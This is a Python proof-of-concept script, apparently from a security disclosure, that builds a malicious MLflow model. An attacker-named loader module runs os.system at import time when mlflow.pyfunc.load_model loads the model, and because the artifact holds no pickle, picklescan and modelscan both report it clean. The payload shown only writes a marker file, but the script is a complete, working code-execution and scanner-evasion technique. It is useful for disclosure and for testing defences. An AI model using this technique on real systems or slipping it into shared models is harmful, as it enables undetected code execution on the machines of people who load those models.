| |
| """ |
| PoC: a malicious MLflow model that picklescan and modelscan both report CLEAN, |
| yet executes an arbitrary OS command the moment mlflow.pyfunc.load_model() loads |
| it — with NO pickle anywhere in the artifact. |
| |
| An MLflow model is a directory: an `MLmodel` YAML descriptor + supporting files. |
| The python_function flavor names a `loader_module` and a `code` directory. |
| On load, MLflow PREPENDS the model's `code/` dir to sys.path and does |
| `importlib.import_module(loader_module)`, so the attacker's loader module body |
| runs as Python at import time. Because the malicious payload is pure Python |
| source + YAML (no pickle bytes), picklescan finds nothing to scan |
| ("Scanned files: 0") and modelscan skips the unsupported extensions |
| ("No issues found!") — while load is full RCE. |
| |
| Run: python build_poc.py # writes ./model/{MLmodel, code/evil_loader.py} |
| """ |
| import os |
|
|
| MARKER = "/tmp/mlflow_pyfunc_pwned.txt" |
|
|
| LOADER = '''\ |
| # Attacker-controlled loader module. The MODULE BODY runs at import time; |
| # mlflow.pyfunc.load_model triggers it via importlib.import_module(loader_module). |
| import os |
| os.system("echo MLFLOW_PYFUNC_PWNED > %s") # benign marker; any command runs here |
| |
| def _load_pyfunc(path): |
| class _M: |
| def predict(self, *a, **k): |
| return [] |
| return _M() |
| ''' % MARKER |
|
|
| MLMODEL = '''\ |
| flavors: |
| python_function: |
| loader_module: evil_loader |
| code: code |
| python_version: 3.12.3 |
| mlflow_version: 3.14.0 |
| model_uuid: "00000000000000000000000000000000" |
| ''' |
|
|
|
|
| def main(): |
| os.makedirs("model/code", exist_ok=True) |
| with open("model/code/evil_loader.py", "w") as f: |
| f.write(LOADER) |
| with open("model/MLmodel", "w") as f: |
| f.write(MLMODEL) |
| print("wrote ./model/MLmodel and ./model/code/evil_loader.py") |
| print("scan: python -m picklescan -p model ; modelscan -p model (both clean)") |
| print("load: python -c \"import mlflow.pyfunc; mlflow.pyfunc.load_model('model')\" (RCE)") |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|